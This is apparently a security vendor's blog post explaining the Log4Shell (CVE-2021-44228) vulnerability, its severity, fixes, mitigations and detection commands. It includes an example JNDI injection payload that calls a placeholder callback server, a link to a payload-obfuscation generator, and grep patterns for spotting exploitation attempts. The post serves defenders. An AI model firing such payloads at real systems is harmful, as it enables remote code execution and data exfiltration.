Log4j Vulnerability — Things You Should Know — RedHunt Labs

Apache Log4j is an open-source logging framework that allows software developers to log various data within their applications. This data can also include user input. It is used ubiquitously in Java applications, especially enterprise software.

Update: 2.15.0 fix bypass It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 makes a best-effort attempt to restrict JNDI LDAP lookups to localhost by default. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Log4Shell, also known by its Common Vulnerabilities and Exposures number CVE-2021–44228, is an arbitrary code execution vulnerability in the popular Java logging framework Log4J.

The vulnerability takes advantage of a feature in Java runtime known as JNDI (short for Java Naming and Directory Interface),allowing attackers to “lookup” commands wrapped in ${…} sequences. This means live runtime lookups to arbitrary servers, both inside and outside the network.

The vulnerability is nothing new, the concept dates back to 2016 when JNDI injection was demonstrated at BlackHat US ’16 (source) — where the researchers were able to get code execution through usage of LDAP and JNDI.

Why is this vulnerability so bad?

The problem with this vulnerability is the ease of the attack vectors. As per CVSS v3, the base score lies at 10.0 which indicates the low complexity of the attack vectors and the critical impact of the issue.

Anyone could spray a set of payloads on a vulnerable setup and exfiltrate sensitive information via DNS callbacks. A rather simpler example of such payloads could be like:

{jndi:ldap://mycustom.callback.server/a}

Researchers have demonstrated multiple variants of the payloads to evade firewalls. One such repository dedicated to payload obfuscation can be found here: https://github.com/woodpecker-appstore/log4j-payload-generator

It has been observed that the threat actors are very actively exploiting this issue, which has led defenders in a hustle trying to figure out their attack surface and provision appropriate mitigations. One popular threat group commonly dubbed as Kinsing/REDSONJA have been observed traversing depths in exploiting this vulnerability — using the compromised instances for crypto mining or as command and control assets.

Who and what is affected?

Apache Log4J is used in a number of popular softwares — including Struts2, Solr, etc, and is an integral part of the Apache Logging project. Many large software companies use the library, which includes Apple, Tencent, LinkedIn, Cloudflare, RedHat and many others.

There has been significant effort into documenting the list of softwares affected: [Link]

If you have a logging setup somewhere in your infrastructure, you too might be affected. Testing should be done for every component in the infrastructure. Anything that ingests contents from the internet is a potential source of compromise.

How to check? — [Tool Release]

We have created a PoC tool so you can pass on a target and check if the same is vulnerable to this vulnerability or not. The tool simply injects a payload and monitor any DNS looks-ups requested by the affected server.

Link for the tool: https://github.com/redhuntlabs/Log4JHunt/

The fix:

The Log4j team has been made aware of a security vulnerability, CVE-2021–44228, that has been addressed in Log4j 2.16.0.

One vector that allowed exposure to this vulnerability was Log4j’s allowance of Lookups to appear in log messages. As of Log4j 2.15.0, this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it. Version 2.16.0 completely disables JNDI by default — the final nail in the coffin.

To mitigate:

If you are using Log4J either directly or indirectly, make sure you are running version =2.16.0.

If you are not able to patch by upgrading the log4j version and are running version >=2.10, you can mitigate the vulnerability by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

For releases from 2.7 through 2.14.1 all PatternLayout patterns can be modified to specify the message converter as %m{nnolookups} instead of just %m.

For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

To detect:

You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021–44228

sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log

This command searches for exploitation attempts in uncompressed log files in folder /var/log and all subfolders.

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'

This command searches for exploitation attempts in compressed files in folder /var/log and all subfolders.

More info: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Concluding Thoughts

The Log4Shell vulnerability has literally put the “internet on fire”. It speaks volumes of how widely the effects of a single flaw can be felt if it sits in a foundational piece of code that is incorporated into a lot of software.

How NVADR can help?

New Attack Vectors and vulnerabilities keep originating quite often and might affect one (or many) assets across your organizations. When these assets are publicly exposed, the risk becomes higher as ease of exploitation increases.

Our Attack Surface Management platform NVADR continuously keeps a track of externally exposed assets and checks for attack vectors across all your external attack surface.

It also ‘continuously’ enumerates and lists all the technologies used across your external attack surface and thus helps identify affected assets right away.

Originally published at https://redhuntlabs.com/blog/log4j-vulnerability-things-you-should-know.html on December 17, 2021.